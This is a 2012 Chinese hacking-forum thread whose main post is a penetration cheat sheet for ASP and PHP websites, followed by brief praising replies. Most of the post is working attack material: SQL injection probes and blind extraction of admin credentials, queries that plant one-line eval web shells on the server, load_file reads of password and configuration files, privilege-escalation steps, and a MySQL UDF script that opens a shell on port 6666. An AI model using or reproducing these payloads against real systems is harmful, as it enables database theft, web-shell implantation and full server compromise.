# 渗透笔记之脚本入侵（ASP，PHP）

**URL:** <https://forum.90sec.com/t/topic/3128>\
**Category:** 技术文章\
**Created:** [2012 年1 月 1 日 03:47 UTC](https://forum.90sec.com/t/topic/3128 "2012-01-01T03:47:11Z")\
**Posts on this page:** 16\
**Page:** 1

<div class="post-metadata">

作者： ![pandas](https://forum.90sec.com/user_avatar/forum.90sec.com/pandas/32/11352_2.png) [@pandas](https://forum.90sec.com/u/pandas)\
发布日期： [2012 年1 月 1 日 03:47 UTC](https://forum.90sec.com/t/topic/3128/1 "2012-01-01T03:47:11Z")

</div>

渗透笔记之脚本入侵（ASP，PHP）  
ASP+ACCESS（MYSQL）

简单判定有无漏洞：  
粗略型：   
'

```
        1. 数字型：[code="vb"]

```

and 1=1 and 1=2

```
         2.字符型：[code="vb"]

```

' and '1'='1 ' and '1'='2

```
         3.搜索型： [code="vb"]

```

%' and 1=1 and '%'='% 或者 %' and 1=2 and '%'='%

```
  （PS：第三个大家可能不常用，他一般在ASP脚本中一般写成：keyword=request（”keyword”），赋值“KYO”到SQL语句中的时候即变为Select * from 表名 where keyword like ‘%KYO%’）

```

简单判断数据库信息：

语句型（IIS报不报错，语句自己区分）：  
and user\>0  
and (select count(_) from msysobjects)\>0 ……（页面错误为access数据库）  
and (select count(_) from sysobjects)\>0 ……（页面正常为MSSQL数据库）  
and db\_name（）\>0 ……(爆数据库名)  
and 0\<\>(select @@version)-- (爆SQLServer版本信息以及服务器操作系统的类型和版本信息)  
粗略型：加 ’（根据服务器报错的信息来判断）  
加 ;--（；和--MSSQL数据库里面一般都有， ； 表示分离，-- 则是注释符ACCESS数据库里没有）  
判断MYSQL权限： and 0\<\>（Select ISSRVROLEMEMBER（’sysadmin’））--（页面正常则为SA）  
and 0\<\>（Select IS\_MEMBER（’db\_owner’））--（页面正常则为db\_owner）  
and 0\<\>（Select IS\_MEMBER（’public’））--（页面正常则是public）  
PS：以上方法适用于参数是int的时候，若为字符型，需在参数后添加’和查询语句后添加；--

开始进行SQL注入(ACCESS)：

猜解表名：  
and 0\<\>(select count(_) from 表名) 或and exists（Select \* from 表名）  
and 1\<(select count(_) from 表名) （页面错误说明帐号数目就是1个）  
猜解字段:  
and exists（Select 字段名 from 表名）（页面正常存在，不正常不存在）  
猜解用户名和密码长度：  
and（Select top 1 len（列名） from 表名）\>N （TOP表示把最前面的一条记录提取出来；N为变换猜解的列长度，页面错误即说明该列长度为N）  
如：and 1=(select count(_) from user where len(name)\>6) 错误  
and 1=(select count(_) from user where len(name)\>5) 正确  
则长度是6

```
         猜解用户名和密码：and (select top 1 asc(mid(列名,1,1)) from 表名)&gt;0
                            如：and (select top 1 asc(mid(user,1,1)) from name)&gt;96页面正常
                     and (select top 1 asc(mid(user,1,1)) from name)&gt;97页面错误
                     则ASCLL码为97
           PS：因为MD5的密文只有16,18,32,40这几个，所以猜解密码的时候只要试一试15,16,17,18,31,32,39,40等就简单些。

```

开始进行SQL注入(MYSQL)：  
爆出表名和字段： having 1=1--  
插入新记录： group by users.ID having 1=1--  
group by users.ID, users.username, users.password, users.privs having 1=1--  
; insert into users values( 666, attacker, foobar, 0xffff )--  
猜解表名：and (select top 1 name from sysobjects where xtype='u')\>0 （获得第一个表名）  
and (select top 1 name from sysobjects where xtype='u' and name not in ('user'))\>0（获得第二个表名）  
………………  
猜解列名：and (select top 1 col\_name(object\_id('字段'),1) from sysobjects)\>0（得到字段的第一个列名）  
猜解字段内容：and (select top 1 列名 from [表名])\>0  
如：and (select top 1 username from [admin])\>0 （获取用户名）  
and (select top 1 password from [admin])\>0 （获取密码）

导出webshell：  
1.利用SQL执行命令功能导出WebShell:  
SELECT '\<%execute request("a")%\>' into [vote] in 'd:\web\x.asp;.xls' 'excel 8.0;' from vote  
PS：需提供SQL执行功能且知道绝对路径方可使用(vote为已知表段)  
2.建立一个有一个A字段的表 表名为a 字段类型为字符 长度为50，在表A的a字段插入密码为90sec的一句话木马，把表a的内容导出为物理路径的一个EXCEL文件，导出为EXCEL后在利用IIS解析漏洞就可以变成小马了。  
语句：

create table cmd (a varchar(50))  
insert into cmd (a) values ('\<%execute request("90sec")%\>')  
select \* into [a] in 'f:\host\qhdyxt\web\a.asp;.xls' 'excel 4.0;' from cmd  
drop table cmd

提权：  
1.system权限下直接添加账号（可能的话）：直接CMD命令添加  
2.使用shell自带的提权功能：Serv\_U，pcAnywhere，Radmin密码读取等，全部试一试  
3.利用系统的漏洞进行溢出提权：利用巴西烤肉提权，在CMD命令一行里输入C:\recycler\1.exe空格“CMD命令”，1.exe就是巴西烤肉咯  
4.用软件的漏洞来提权（这个机会比较渺茫，个人没有成功过）  
5.在conn.asp webconfig.asp等文件查找SA密码或者查找inc.php 等文件里面的ROOT密码（可以用CMD语句查找，如：利用CMD命令 dir /s d:\conn.asp 或者 dir /s d:\*inc\*.php 来查找配置文件）

```
                                                   PHP+MYSQL

```

1.漏洞判断同上。  
2.数据库信息判断：  
1.数据库类型，简单的直接利用上面的相关语句就可以  
2.爆数据库的版本信息，库名以及用户名（前提得到字段数及可利用字段）：and 1=2 union select 1,2,3,4,version(),database(),user(),8--  
或者：+union+select+1,2,,3,4,database(),version(),user(),8 （要在参数前加-）  
3.数据库权限：and ord(mid(user(),1,1))=114 /\* （页面正常说明为root）  
4.爆操作系统相关信息：and 1=2 union all select @@global.version\_compile\_os from mysql.user /\*

3.开始注入：  
1.查询字段： （1）用union联合查询：and 1=1 union select 1,2,3,4,5……  
（2）用order by 查询“order by _--  
2.爆可利用字段：and 1=2 union select 1,2,3,4,5,6,7……--  
或者+union+select+1,2,3,4,5,6,7…… （要在参数前加-）  
PS:不用猜解可用字段暴数据库信息(部分网站适用):  
and 1=2 union all select version() /_

```
                                                                               and 1=2 union all select database() /*

                                                                               and 1=2 union all select user() /*
  第一种方法： 暴库            
                         3.暴库 (前提是mysql&gt;5.0，因为Mysql 5 以上有内置库 information_schema，存储着mysql的所有数据库和表结构信息)：
                  and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

               4.猜解表名：and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库（十六进制） limit 0（开始的记录，0为第一个开始记录）,1（显示1条记录）--
                5.猜解字段：and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名（十六进制）limit 0,1
               6.爆密码：and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
                        PS：高级用法：Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
  第二种方法：利用虚拟库information_schema 爆表
                  3.+union+select+1,2,3,4,table_name,5+from+information_schema.tables+where+table_schema=数据库名的16进制+limit+1,1
                      或者and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=数据库名的16进制 limit 1,1--
                  PS: limit 1,1可以变化，查询下一个
           4.利用表爆字段：+union+select+1,2,3,4,column_name,5+from+information_schema.columns+where+table_name=爆出来的字段的16进制 或者：and 1=2 union select 1,2,3,4,column_name,5 from information_schema.columns where table_name=爆出来的字段的16进制--
                  5.爆用户名和密码：+union+select+1,2,3,用户名字段,密码字段,6+from+管理表
                      或者：and 1=2 union select 1,2,3,用户名字段,密码字段,6 from 管理表--
                   （PS：一次性爆表：.+union+select+1,2,3,4,GROUP_CONCAT(DISTINCT+table_name),6+from+information_schema.columns+where+table_schema=数据库名的16进制
                  一次性爆出所有字段：+union+select+1,2,3,4,GROUP_CONCAT(DISTINCT+column_name),6+from+information_schema.columns+where+table_schema=数据库名的16进制
                   一次性爆密码和用户名：+union+select+1,2,3,4,GROUP_CONCAT(DISTINCT+用户名,0x5f,密码)，6+from+管理表）

                                 PS：这里面所有的+号是代替空格的，还可以用/**/来代替,不同情况，不同分析!但是参数前必须加-4.拿webshell         

1.导出一句话拿WebShell

```

[code="php"]  
Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL); Insert INTO temp (cmd) VALUES('\<? php eval($\_POST[cmd]);?\>'); Select cmd from temp into out file 'F:/wwwroot/eval.php'; Drop TABLE IF EXISTS temp;

或者：  
Select '\<? php eval($\_POST[cmd]);?\>' into outfile 'F:/wwwroot/eval.php';

PS：eval.php是导入对象  
5.提权：

第一种方法：直接写马(Root权限)  
条件：1、知道站点物理路径

```
   2、有足够大的权限（可以用select …. from mysql.user测试）

   3、magic_quotes_gpc()=OFF

```

select ‘\<?php eval($\_POST[cmd])?\>’ into outfile ‘物理路径’

and 1=2 union all select 一句话HEX值 into outfile '路径'

load\_file() 常用路径：

1、 replace(load\_file(0×2F6574632F706173737764),0×3c,0×20)  
2、replace(load\_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))  
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “\<” 替换成”空格” 返回的是网页.而无法查看到代码.  
3、 load\_file(char(47)) 可以列出FreeBSD,Sunos系统根目录  
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件  
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件  
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.  
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机  
8、d:\APACHE\Apache2\conf\httpd.conf  
9、C:\Program Files\mysql\my.ini  
10、../themes/darkblue\_orange/layout.inc.php phpmyadmin 爆路径  
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件  
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看  
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上  
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看  
15、 /etc/sysconfig/iptables 本看防火墙策略  
16 、 usr/local/app/php5 b/php.ini PHP 的相当设置  
17 、/etc/my.cnf MYSQL的配置文件  
18、 /etc/redhat-release 红帽子的系统版本  
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码  
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.  
21、/usr/local/app/php5 b/php.ini //PHP相关设置  
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置  
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  
24、c:\windows\my.ini  
25、c:\boot.ini

网站常用配置文件 config.inc.php、config.php。load\_file（）时要用replace（load\_file(HEX)，char(60),char(32)）

注：  
Char(60)表示 \<  
Char（32）表示 空格

第二种方法：直接在PHPSPY新建一个PHP文件.

输入以下的内容

```php

$link=mysql_connect('127.0.0.1','root','root');

　　if (!$link) {

　　die('Could NOt Connect The Database!: ' . mysql_error());

　　};

　　echo "Good Boy.Connected!
";

　　//这里的root\root就是从my.ini中读取的用户和密码.

```

@mysql\_select\_db('mysql') or die ('use database mysql failed!');

echo "Yes You Did!  
";

[//这里选择使用MySQL数据库表.当然你也可以选择别的](https://xn--MySQL-2b3hz41gswhn8a30ksq6c3jycihuhtam5s.xn--ujqqmhmk6gsyc250az2fx45an8jrg6d),如test.

$query="Create Function Shell RETURNS INTEGER SONAME 'd:\wwwroot\FurQ.dll';";

@$result = mysql\_query($query, $link) or die ("Create Function Failed!");

echo "Goddess...Successed!  
";

//这两句话是关键,执行MySQL的创建函数语句.将d:\wwwroot\furq.dll中的Shell函数创建进MySQL中.使得MySQL可以执行这个Shell函数.

$query="Select Shell();";

@$result = mysql\_query($query, $link) or die ("Execute failed");

echo "Congratulations! Connect The Port 6666 Of This Server VS password:FurQ  
";

//这一步是执行这个Shell函数,打开服务器的6666端口.

?\>

然后再执行，由于继承的是MySQL的权限,而Win系统下MySQL默认以服务安装,所以得到的Shell为LocalSystem权限

=================================================

# 此贴作为参加跨年比赛的技术文章，小菜只是分享自己的经验，如果不好，还请大神们见谅啊。。 本来还想写JSP的，但是时间不允许了，所以还是算了吧，最后再次强调。。小菜文章。。纯粹总结经验， 没有技术性，大牛勿笑，脚下留情啊。

看过觉得可以的朋友，帮忙投个票啊，嘿嘿~  
[http://www.90sec.org/thread-1248-1-1.html](http://www.90sec.org/thread-1248-1-1.html)

---

<div class="post-metadata">

作者： ![Onils](https://forum.90sec.com/user_avatar/forum.90sec.com/onils/32/2988_2.png) [@Onils](https://forum.90sec.com/u/Onils)\
发布日期： [2012 年1 月 1 日 04:50 UTC](https://forum.90sec.com/t/topic/3128/2 "2012-01-01T04:50:36Z")

</div>

很多讲到点上了·很好···

---

<div class="post-metadata">

作者： ![cloudqqvip](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/4491bb/32.png) [@cloudqqvip](https://forum.90sec.com/u/cloudqqvip)\
发布日期： [2012 年1 月 1 日 05:16 UTC](https://forum.90sec.com/t/topic/3128/3 "2012-01-01T05:16:56Z")

</div>

写得很好！。。哈

---

<div class="post-metadata">

作者： ![fan](https://forum.90sec.com/letter_avatar_proxy/v4/letter/f/df788c/32.png) [@fan](https://forum.90sec.com/u/fan)\
发布日期： [2012 年1 月 1 日 05:27 UTC](https://forum.90sec.com/t/topic/3128/4 "2012-01-01T05:27:55Z")

</div>

说句实话，我没看完。

---

<div class="post-metadata">

作者： ![user40](https://forum.90sec.com/user_avatar/forum.90sec.com/user40/32/11393_2.png) [@user40](https://forum.90sec.com/u/user40)\
发布日期： [2012 年1 月 1 日 11:26 UTC](https://forum.90sec.com/t/topic/3128/5 "2012-01-01T11:26:47Z")

</div>

还是不错的···支持一下 ··呵呵····

---

<div class="post-metadata">

作者： ![qingfeng](https://forum.90sec.com/letter_avatar_proxy/v4/letter/q/eb8c5e/32.png) [@qingfeng](https://forum.90sec.com/u/qingfeng)\
发布日期： [2012 年1 月 1 日 12:01 UTC](https://forum.90sec.com/t/topic/3128/6 "2012-01-01T12:01:39Z")

</div>

通读了一遍，之后又大致的看了一下感觉非常不错。  
有几个小技巧性的东东.  
sq injection这里：MSSQL注入有点少东西。  
Mysql:值得夸奖。

---

<div class="post-metadata">

作者： ![cygmris](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/9d8465/32.png) [@cygmris](https://forum.90sec.com/u/cygmris)\
发布日期： [2012 年1 月 1 日 15:26 UTC](https://forum.90sec.com/t/topic/3128/7 "2012-01-01T15:26:39Z")

</div>

瞧见传说中的精华,果断收藏之！

---

<div class="post-metadata">

作者： ![649334222](https://forum.90sec.com/letter_avatar_proxy/v4/letter/6/6bbea6/32.png) [@649334222](https://forum.90sec.com/u/649334222)\
发布日期： [2012 年1 月 1 日 16:40 UTC](https://forum.90sec.com/t/topic/3128/8 "2012-01-01T16:40:44Z")

</div>

比较集权，不错{:4\_90:}

---

<div class="post-metadata">

作者： ![c11](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/71e660/32.png) [@c11](https://forum.90sec.com/u/c11)\
发布日期： [2012 年1 月 2 日 01:11 UTC](https://forum.90sec.com/t/topic/3128/9 "2012-01-02T01:11:24Z")

</div>

{:4\_48:}喜欢、、、、、呵呵

---

<div class="post-metadata">

作者： ![admin07](https://forum.90sec.com/letter_avatar_proxy/v4/letter/a/ed655f/32.png) [@admin07](https://forum.90sec.com/u/admin07)\
发布日期： [2012 年1 月 2 日 02:53 UTC](https://forum.90sec.com/t/topic/3128/10 "2012-01-02T02:53:06Z")

</div>

看的头晕，太多了，不过挺齐全的

---

<div class="post-metadata">

作者： ![sinner](https://forum.90sec.com/user_avatar/forum.90sec.com/sinner/32/11407_2.png) [@sinner](https://forum.90sec.com/u/sinner)\
发布日期： [2012 年1 月 2 日 08:10 UTC](https://forum.90sec.com/t/topic/3128/11 "2012-01-02T08:10:19Z")

</div>

mark .. 写的不错哟.

---

<div class="post-metadata">

作者： ![Shark](https://forum.90sec.com/letter_avatar_proxy/v4/letter/s/73ab20/32.png) [@Shark](https://forum.90sec.com/u/Shark)\
发布日期： [2012 年1 月 2 日 13:32 UTC](https://forum.90sec.com/t/topic/3128/12 "2012-01-02T13:32:25Z")

</div>

收藏，thanks{:4\_47:}

---

<div class="post-metadata">

作者： ![heike8231](https://forum.90sec.com/letter_avatar_proxy/v4/letter/h/c77e96/32.png) [@heike8231](https://forum.90sec.com/u/heike8231)\
发布日期： [2012 年1 月 3 日 14:39 UTC](https://forum.90sec.com/t/topic/3128/13 "2012-01-03T14:39:50Z")

</div>

好好 看看 学习 !!!

---

<div class="post-metadata">

作者： ![network](https://forum.90sec.com/user_avatar/forum.90sec.com/network/32/11349_2.png) [@network](https://forum.90sec.com/u/network)\
发布日期： [2012 年1 月 4 日 08:30 UTC](https://forum.90sec.com/t/topic/3128/14 "2012-01-04T08:30:48Z")

</div>

先顶贴 在回复 、。

---

<div class="post-metadata">

作者： ![user14](https://forum.90sec.com/user_avatar/forum.90sec.com/user14/32/11344_2.png) [@user14](https://forum.90sec.com/u/user14)\
发布日期： [2012 年1 月 4 日 10:18 UTC](https://forum.90sec.com/t/topic/3128/15 "2012-01-04T10:18:44Z")

</div>

很不错的文章 看看

---

<div class="post-metadata">

作者： ![user\_deleted16](https://forum.90sec.com/letter_avatar_proxy/v4/letter/u/f9ae1b/32.png) [@user\_deleted16](https://forum.90sec.com/u/user_deleted16)\
发布日期： [2012 年4 月 29 日 05:56 UTC](https://forum.90sec.com/t/topic/3128/16 "2012-04-29T05:56:57Z")

</div>

..内容比较全面 还是部错的！
